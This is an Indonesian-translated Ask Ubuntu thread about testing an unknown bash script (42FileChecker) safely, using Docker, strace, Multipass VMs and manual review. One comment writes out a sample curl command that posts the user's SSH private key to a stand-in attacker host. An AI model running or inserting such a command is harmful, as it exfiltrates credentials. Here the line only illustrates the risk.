Bagaimana saya bisa menguji skrip shell di "lingkungan yang aman" untuk menghindari kerusakan pada komputer saya?


29

Saya ingin menginstal skrip bash tertentu bernama 42FileChecker menggunakan perintah:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Tetapi saya tidak tahu apakah 42FileChecker.sh akan melakukan hal-hal aneh pada PC saya karena saya seorang pemula dan tidak tahu apa yang terjadi dalam skrip itu. Apakah ada cara untuk menjalankannya di terminal dummy atau folder root dummy atau sesuatu seperti itu untuk melihat apa yang terjadi sehingga saya menghindari sesuatu yang gila seperti memformat drive saya. Saya ingin tahu cara apa pun untuk menguji shell untuk skrip shell di masa depan, bahkan jika 42FileChecker.sh aman.


5
Karena ini adalah skrip, Anda dapat membacanya, dan membaca manhalaman pada perintah yang terkandung di dalamnya.
waltinator

1
Perhatikan bahwa karena kode dihosting di Git, Anda dapat membaca sumber alat. Jika peninjauan kode bukan hal Anda, melakukan semacam analisis "dinamis" dengan menjalankannya di lingkungan yang aman (kotak pasir, VM) adalah taruhan terbaik Anda berikutnya
BlueCacti

4
@waltinator Jika Anda khawatir tentang perilaku jahat , bukan hanya perilaku yang tidak disengaja, membaca halaman manual tidak akan membantu.
Ray

1
@ Ray, hanya jika perintah yang dijalankan itu sendiri berbahaya, sehingga halaman manual mereka akan menyembunyikan efek mereka yang sebenarnya. Saya pikir waltinator mengacu pada kasus yang lebih kemungkinan penggunaan sembarangan perintah standar, misalnya chmod 777 -R ~atau curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaatau serupa.
Wildcard

1
Terkait . Anda dapat menguji skrip tanpa membahayakan komputer Anda dan itu akan mengajari kolega Anda untuk mengunci sesi mereka.
Eric Duminil

Jawaban:


4

Saya bukan ahli dalam hal ini, tetapi saya akan merekomendasikan menggunakan stracedan docker.

Jadi pertama-tama buat wadah Docker seperti dengan instruksi dalam jawaban ini . Tetapi tambahan bahwa strace akan memberi tahu Anda apa panggilan sistem dilakukan. Atau mengutip:

strace adalah utilitas userspace diagnostik, debugging, dan instruksional untuk Linux. Ini digunakan untuk memantau dan mengutak-atik interaksi antara proses dan kernel Linux, yang meliputi panggilan sistem, pengiriman sinyal, dan perubahan status proses.

Anda dapat menggabungkan perintah-perintah ini ke

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

Jadi ini akan melewati setiap baris skrip (langkah demi langkah) dan juga melakukan semua ini di dalam sebuah wadah, yang berarti semua perintah tidak akan melakukan apa pun pada sistem saya tetapi akan berjalan seperti biasa. Apakah saya memahami ini dengan benar?
nicholas

1
@ Nicholas ya wadah buruh pelabuhan adalah mesin terpisah untuk perlindungan Anda, program ini sandboxed. Strace akan memberi Anda semua operasi yang dilakukan aplikasi ke mesin itu, mulai dari membuka file hingga mengatur koneksi jaringan.
Thomas

1
Ya, itulah yang saya cari, Strace dikombinasikan dengan Docker.
nicholas

42

Jika Anda tidak yakin apa yang dilakukan skrip, lebih baik Anda tidak menjalankannya sampai Anda yakin apa yang dilakukannya. Cara untuk mengurangi radius kerusakan skrip buruk termasuk menjalankannya menggunakan pengguna baru, menjalankannya dalam wadah, atau menjalankannya di mesin virtual. Tetapi pernyataan pertama itu masih berlaku: Jika Anda tidak yakin apa yang dilakukan sesuatu, pertimbangkan untuk tidak menjalankannya sampai Anda melakukannya.


6
Di sisi lain skrip seperti EULA: Ya, Anda harus membaca dan memahami setiap baris sebelum Anda menjual jiwa Anda, tetapi apakah Anda?
Peter - Pasang kembali Monica

7
@ PeterA.Schneider, tapi EULA tidak benar-benar melakukan apa pun sampai dibawa ke pengadilan. Menjalankan skrip memiliki efek langsung pada komputer Anda. Ini bukan tentang membaca setiap baris; ini lebih tentang "Refleksi Kepercayaan Kepercayaan" dan mengetahui dan mempercayai sumber naskah.
Wildcard

29

Seperti yang dikatakan @ctt, mungkin ide yang baik untuk menjalankannya di kotak pasir terlebih dahulu. Menggunakan VM mungkin merupakan solusi termudah. Multipass cukup sederhana.

Instal multipass (dengan asumsi Anda belum melakukannya):

sudo snap install multipass --beta --classic

Putar VM baru:

multipass launch --name myvm

Login ke VM baru Anda:

multipass shell myvm

Kemudian jalankan skrip Anda (di dalam vm Anda):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
Pendekatan ini tidak aman. Setelah Anda menjalankan skrip di kotak pasir, bagaimana Anda akan tahu apakah itu aman? Mungkin memiliki efek berbahaya yang tidak bisa Anda katakan dengan mudah. Malware tidak selalu muncul dan berkata "Haha, mengerti!" Selain itu, skrip berbahaya dapat dengan mudah berperilaku jinak saat berada di kotak pasir atau VM dan kemudian berperilaku jahat di komputer Anda yang sebenarnya. (Misalnya, deteksi VM adalah sesuatu, seperti halnya sidik jari mesin.)
DW

12
Ini poin yang bagus. Jika Anda ingin memeriksa skrip untuk malware, ini bukan solusi yang efektif. Ini adalah cara menguji fungsionalitas tanpa mencemari sistem host Anda.
Ryan J. Yoder

Anda dapat melakukan perbandingan penuh dengan VM "kontrol".
mckenzm

6
@ mckenzm: Tetapi jika itu adalah malware, sangat mungkin bahwa ia akan memilih untuk tidak melakukan apa pun sampai ia menemukan dirinya dengan akses ke sesuatu yang terlihat menarik.
Henning Makholm

11

Karena sekolah yang Anda hadiri telah menerbitkan skrip, tempat terbaik untuk menyuarakan keprihatinan Anda adalah dengan instruktur Anda.

Yang mengatakan kami dapat membantu Anda menguraikan kode pada baris demi baris. Mungkin tidak praktis bagi siapa pun di sini untuk menganalisis semua kode.

Anda sebenarnya memiliki 40 skrip bash dengan total 5.360 baris. Saya telah menggabungkan mereka bersama-sama dan mencari perintah bash / shell yang dapat disalahgunakan. Mereka semua tampaknya digunakan secara normal :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • Tidak ada rm -rf /perintah untuk menghapus seluruh partisi hard disk.
  • Tidak ada persyaratan yang sudodigunakan untuk menjalankan skrip.
  • Script sebenarnya memastikan hanya Cfungsi yang diotorisasi yang digunakan dalam file yang diperiksa.
  • Penelusuran cepat kode bash / shell menunjukkan bahwa kode tersebut ditulis secara profesional dan mudah diikuti.
  • Menggunakan shellcheck pada file include gabungan hanya mengungkapkan tiga kesalahan sintaksis.
  • Nama penulis diidentifikasi dan penulis utama bahkan memiliki fotonya di githubhalamannya.
  • Meski tidak ada jaminan dalam hidup, 42FileCheckertampaknya aman digunakan.

Ini bukan skrip bash yang bisa dibaca manusia yang perlu Anda khawatirkan begitu banyak. Ini adalah objek biner yang dikompilasi yang tidak dapat Anda baca yang perlu diperhatikan. Misalnya program yang disebut "shiny-bouncy-sphere" mungkin melukis sesuatu seperti itu di layar Anda tetapi di latar belakang itu bisa menghapus semua file Anda.


Jawaban asli

Yang terbaik adalah bertanya kepada penulis naskah apa yang dilakukannya. Memang Anda hampir dapat memposting pertanyaan Anda kata demi kata seperti yang muncul di atas.

Tanyakan juga kepada penulis:

  • File apa yang diperbarui?
  • Apa yang terjadi jika crash karena kegagalan daya atau bug program?
  • Bisakah mini-backup dilakukan terlebih dahulu?

Dan pertanyaan bagus lainnya yang dapat Anda pikirkan.


Sunting 1 - Kekhawatiran tentang penulis jahat.

Anda hanya harus menggunakan perangkat lunak dengan banyak ulasan publik yang bagus. Secara bergantian penulis yang Anda percayai di sini di Ask Ubuntu seperti Serge, Jacob, Colin King, dll. Situs terhormat lainnya seperti Ask Ubuntu dan anggota yang disegani juga harus dianggap "tidak berbahaya".

Keuntungan dari "penulis yang dihormati" di sini di Ask Ubuntu adalah mereka mempertaruhkan harga diri mereka pada "poin reputasi". Jika mereka secara sengaja menulis kode yang "mencuri" atau "merusak" data, mereka akan segera kehilangan reputasi. Memang penulis dapat menderita "murka mod" dan ditangguhkan dan / atau 10.000 poin reputasi diambil.


Sunting 2 - Jangan ikuti semua instruksi

Saya melihat lebih dalam ke instruksi skrip bash Anda:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

Metode "aman" hanya menjalankan baris pertama:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

Ini mengunduh skrip tetapi tidak menjalankannya. Selanjutnya gunakan nautilus(manajer file) untuk memeriksa direktori dan file yang diinstal. Sangat cepat Anda menemukan ada kumpulan skrip bash yang ditulis oleh sekelompok siswa di Perancis.

Tujuan skrip adalah untuk mengkompilasi dan menguji program C untuk fungsi yang tidak tepat dan kebocoran memori.


1
Saya harus ya, tetapi saya sedang memikirkan situasi di mana penulis mungkin melakukan sesuatu yang berbahaya dengan sengaja.
nicholas

1
@nicholas saya membalas komentar Anda dengan merevisi jawabannya.
WinEunuuchs2Unix

2
Saya belajar C dalam kursus Ecole 42. Fungsi yang saya buat perlu dijalankan melalui pemeriksaan norma ini. Saya perlu menginstal 42FileChecker di Ubuntu untuk menjalankan pemeriksaan norma ini. Saya kira saya hanya harus mempercayai skrip ini untuk saat ini, tetapi saya perlu tahu bagaimana melakukan "jalankan-aman" skrip terlebih dahulu karena saya tidak begitu hebat dalam melakukan pencarian manusia. Terima kasih untuk bantuannya. Saya hanya akan menjalankan VM waktu berikutnya.
nicholas

2
@nicholas Line 24 dari ~/42FileChecker/includes/display/display_credits.shpekerjaan negara norminette adalah ketergantungan suatu: norminette (42 born2code) http://www.42.fr. Saya membaca ini tadi malam dan itulah sebabnya saya menulis itu adalah sekolah (ecole) di Perancis yang menerbitkan 42FileChecker . Dari apa yang saya telah melihat kode sejauh ini saya tidak akan khawatir menjalankannya. Plus itu memiliki sedikit kesalahan sintaksis yang dilaporkan shellcheckmengejutkan untuk skrip bash baris 5.360. Banyak skrip bash yang diterbitkan secara profesional memiliki banyak kesalahan sintaksis.
WinEunuuchs2Unix

2
@nicholas Dari sudut pandang keamanan, menggunakan lingkungan dan skrip yang disediakan untuk kelas mungkin merupakan pendekatan terbaik. Ini juga menghilangkan kemungkinan perilaku yang berbeda dari versi kursus resmi yang mungkin mengejutkan pada saat turn-in. Apakah Anda yakin bahwa tidak ada akses jarak jauh ke mesin ini, mungkin menggunakan layanan VPN atau SSH kampus yang disediakan dari komputer lain yang dapat Anda akses dari jarak jauh?
trognanders

5

Anda bisa menggunakan Docker. Wadah Docker diisolasi dari OS host, jadi aktivitas jahat apa pun akan tetap berada di dalam wadah, selama Anda tidak secara khusus membiarkannya dengan meneruskan port atau memasang sistem file.

Untuk menginstal buruh pelabuhan:

sudo apt-get install docker.io

Untuk mengunduh wadah Ubuntu Bionic baru:

docker pull ubuntu:bionic

Setelah itu, login ke wadah

docker run -it ubuntu:bionic

dan melakukan operasi cerdik di dalamnya:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
Manfaat lain dari Docker yang dapat membantu dalam menentukan apa yang dilakukan skrip adalah bahwa Anda dapat menjalankan docker diffuntuk melihat perubahan yang telah dibuat pada sistem file sejak Anda meluncurkan wadah. Kelemahan dari menggunakan Docker adalah bahwa wadah itu bukan salinan lengkap dari sistem host. Gambar Ubuntu yang Anda sebutkan di sini hanya berisi instalasi Ubuntu minimal.
Martijn Heemels

2
Alih-alih docker run ubuntuAnda harus menjalankan docker run -it ubuntu:bionicThe -itmemberi Anda terminal interaktif dalam wadah dan bionicbenar - benar menjalankan versi yang Anda inginkan daripada default latest.
Martijn Heemels

Saya suka jawaban ini dari yang terbaik yang pernah saya lihat. Namun, sepertinya skrip cerdik masih dapat menyalahgunakan sistem Anda. Ini bisa diam-diam akan pertambangan Bitcoins, dll Idealnya satu bisa menggunakan bendera tambahan mungkin --memory, --networkdan mungkin orang lain untuk benar-benar mengunci script.
emory

1
Jika Anda benar-benar paranoid, kombinasikan jawaban ini dengan jawaban terbaik kedua. Jalankan buruh pelabuhan di dalam mesin virtual, dan kunci semuanya.
emory

3

Pertimbangkan menggunakan mode debugging dengan menjalankan skrip sebagai:

$ bash -x scriptname

Informasi Bash lebih lanjut yang berguna

Mode debugging tidak akan menghentikan skrip dari melakukan sesuatu yang buruk, tetapi itu akan membiarkan Anda melalui skrip baris demi baris dan memeriksa efeknya. Anda juga dapat memeriksa skrip untuk beberapa potensi kesalahan umum dan / atau eksploitasi, misalnya mencari skrip untuk setiap kejadian rmdan melihat perintah-perintah itu dengan sangat cermat. Banyak dari alat-alat ini memiliki beberapa bantuan yang dibangun untuk mencoba mereka keluar, misalnya rm tidak akan menghapus direktori secara default, perlu -r, -Ratau --recursivepilihan untuk melakukannya.

Bahkan mungkin ada beberapa alat seperti antivirus yang akan mencari skrip bash untuk pola-pola ini, tapi saya tidak mengetahui namanya. Contoh skrip Anda agak rapuh, dalam arti mereka mengunduh alat lain, sehingga masing-masing juga harus diperiksa. Memeriksa server mana yang mereka hubungi mungkin juga bermanfaat.


-x dapat digunakan untuk debugging (dan saya menggunakannya!) tetapi itu tidak akan membiarkan Anda melangkah melalui skrip baris demi baris. Ini akan memberi Anda semacam "jejak" saat menjalankan skrip dengan kecepatan penuh.
jrw32982 mendukung Monica

2

Informasi yang relevan untuk memberikan jawaban sayangnya hanya ditemukan di komentar Anda:

Saya belajar C dalam kursus Ecole 42. Fungsi yang saya buat perlu dijalankan melalui pemeriksaan norma ini. Saya perlu menginstal 42FileChecker di Ubuntu untuk menjalankan pemeriksaan norma ini.

Jadi situasinya adalah bahwa dalam praktiknya Anda memiliki opsi untuk melewatkan kursus, atau Anda dapat menjalankan skrip untuk melakukan pemeriksaan normatif pada sumber Anda. Berbicara dengan instruktur Anda bukanlah suatu pilihan, karena kurangnya yang sebelumnya (itu tidak akan menjadi pilihan yang sebaliknya, tidak ada sekolah yang akan mengubah prosedur mereka karena satu siswa tidak senang dengan itu).
Pertanyaan apa yang harus dilakukan untuk membatasi kemungkinan kerusakan dari skrip itu bahkan tidak muncul. Itu bukan skrip acak bahwa seorang gadis horny dengan payudara besar mengirim e-mail kepada Anda, dan yang perlu Anda jalankan untuk melihat fotonya .
Anda sedang melakukan kelas pemrograman. Iniadalah tempat naskah ini mulai dimainkan. Pertanyaannya adalah apakah Anda ingin mematuhi persyaratan bingkai untuk berhasil menyelesaikan kursus.

Namun, jika Anda benar-benar khawatir, masih ada kemungkinan menjalankan skrip dalam wadah atau mesin virtual, dan menempatkan sumber Anda di folder bersama, atau ke jaringan berbagi yang diekspos oleh wadah / mesin virtual. Cukup banyak menjalani jalur paranoia penuh, tetapi sekali lagi virtualisasi tidak terlalu rumit akhir-akhir ini, jadi tidak perlu biaya banyak.

Membatasi kemungkinan eksploitasi yang sangat keras yang terkandung dalam skrip itu, masuk sebagai pengguna non-root (yang Anda tidak punya pilihan untuk melakukan sebaliknya di Ubuntu) dan menghindari mengetik sudo tanpa alasan yang jelas cukup banyak mencegah 99% dari semua hal buruk yang mungkin bisa terjadi. Seperti memformat harddisk, yang Anda khawatirkan. Pengguna normal tidak bisa melakukan itu. Hal terburuk yang terjadi adalah skrip menghapus direktori home pengguna. Jadi apa, tidak masalah, sungguh.


Semoga OP berkomentar di sini jika sudodiperlukan untuk menjalankan skrip. +1
WinEunuuchs2Unix

Menghindari sudohanya membatasi ruang lingkup penghapusan / pemformatan tidak sengaja karena bug. Jika skrip tersebut berbahaya atau dapat dieksploitasi, menjalankan dengan sudopada sistem pengguna tunggal tidak membuat perbedaan penting.
pria lain

@ WinEunuuchs2Unix Saya tidak berpikir sudo diperlukan. Sebenarnya saya tidak tahu. Meskipun saya telah menggunakan sudo untuk perintah instal apt. Apakah itu berarti saya perlu menggunakannya untuk menjalankan skrip juga?
nicholas

1
@ Nicholas Saya tidak punya program C untuk dikompilasi dan diuji 42FileCheckerjadi saya tidak bisa mengatakan apakah sudodiperlukan atau tidak. Script bash tidak memeriksa sudo dan memberitahu Anda untuk menggunakannya. Akan muncul maka itu sudotidak diperlukan. Sekali lagi saya pikir meminta instruktur (guru) Anda adalah kebijakan terbaik. Saya telah memperbarui jawaban saya satu jam yang lalu dengan sedikit analisis skrip. Perhatikan nama " mynorminette" muncul lagi dalam kode.
WinEunuuchs2Unix

1
@ Nicholas Saya bertaruh beberapa instruktur secara pribadi tahu norminette, yyang42, alelievr, anisg, QuentinPerez, gabkk, patorjk dan Jean-Michel Gigault yang semuanya berkontribusi 42FileChecker. Saya percaya berbicara dengan instruktur akan membuat pikiran Anda tenang. Setelah beberapa jam menyelidiki, saya percaya pada programmer dan kreasi mereka. Jean-Michel Gigault bahkan memiliki fotonya di github. Cukup bukti kepercayaan di tanah di mana benih Rompi Kuning tumbuh. Viva La France! (et Ecole 42 :)) Tolong kami dan singgah untuk memberikan pembaruan kemajuan.
WinEunuuchs2Unix
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.